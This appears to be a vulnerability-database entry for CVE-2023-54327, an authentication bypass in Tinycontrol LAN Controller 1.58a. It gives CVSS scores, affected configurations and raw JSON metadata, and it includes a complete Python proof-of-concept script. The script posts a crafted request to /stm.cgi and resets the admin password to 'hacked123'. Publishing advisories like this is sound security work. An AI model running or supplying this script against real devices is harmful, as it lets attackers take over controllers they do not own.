Security Vulnerability Report
中文
CVE-2023-54327 CVSS 9.8 CRITICAL

CVE-2023-54327

Published: 2025-12-30 23:15:49
Last Modified: 2026-01-16 19:16:15

Description

Tinycontrol LAN Controller 1.58a contains an authentication bypass vulnerability that allows unauthenticated attackers to change admin passwords through a crafted API request. Attackers can exploit the /stm.cgi endpoint with a specially crafted authentication parameter to disable access controls and modify administrative credentials.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tinycontrol:lan_controller_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tinycontrol:lan_controller:3.8:*:*:*:*:*:*:* - NOT VULNERABLE
TinyControl LAN Controller 1.58a及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-54327 PoC - TinyControl LAN Controller Authentication Bypass # Target: TinyControl LAN Controller <= 1.58a # Endpoint: /stm.cgi # This PoC demonstrates authentication bypass to change admin password import requests import sys def exploit(target_ip, target_port=80): """ Exploit authentication bypass in TinyControl LAN Controller Allows unauthenticated attacker to change admin password """ target_url = f"http://{target_ip}:{target_port}/stm.cgi" # Crafted authentication parameter to bypass authentication # The key is to include a specially crafted auth parameter payload = { "authentication": "1", # Bypass authentication "password": "hacked123", # New admin password "confirm_password": "hacked123", "action": "change_password" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit to {target_url}...") response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Authentication bypass successful!") print(f"[+] Admin password changed to: hacked123") print("[+] Login with new password to gain full control") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-54327", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:48.500", "lastModified": "2026-01-16T19:16:15.010", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tinycontrol LAN Controller 1.58a contains an authentication bypass vulnerability that allows unauthenticated attackers to change admin passwords through a crafted API request. Attackers can exploit the /stm.cgi endpoint with a specially crafted authentication parameter to disable access controls and modify administrative credentials."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tinycontrol:lan_controller_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.58a", "matchCriteriaId": "A29F13FB-0F43-4A9B-9249-41C741B97DBA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tinycontrol:lan_controller:3.8:*:*:*:*:*:*:*", "matchCriteriaId": "8F21DCD7-E2CD-4DB7-847E-58BF7EE0E235"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51732", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.tinycontrol.pl", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/tinycontrol-lan-controller-a-authentication-bypass-via-admin-password-change", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5787.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5787.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}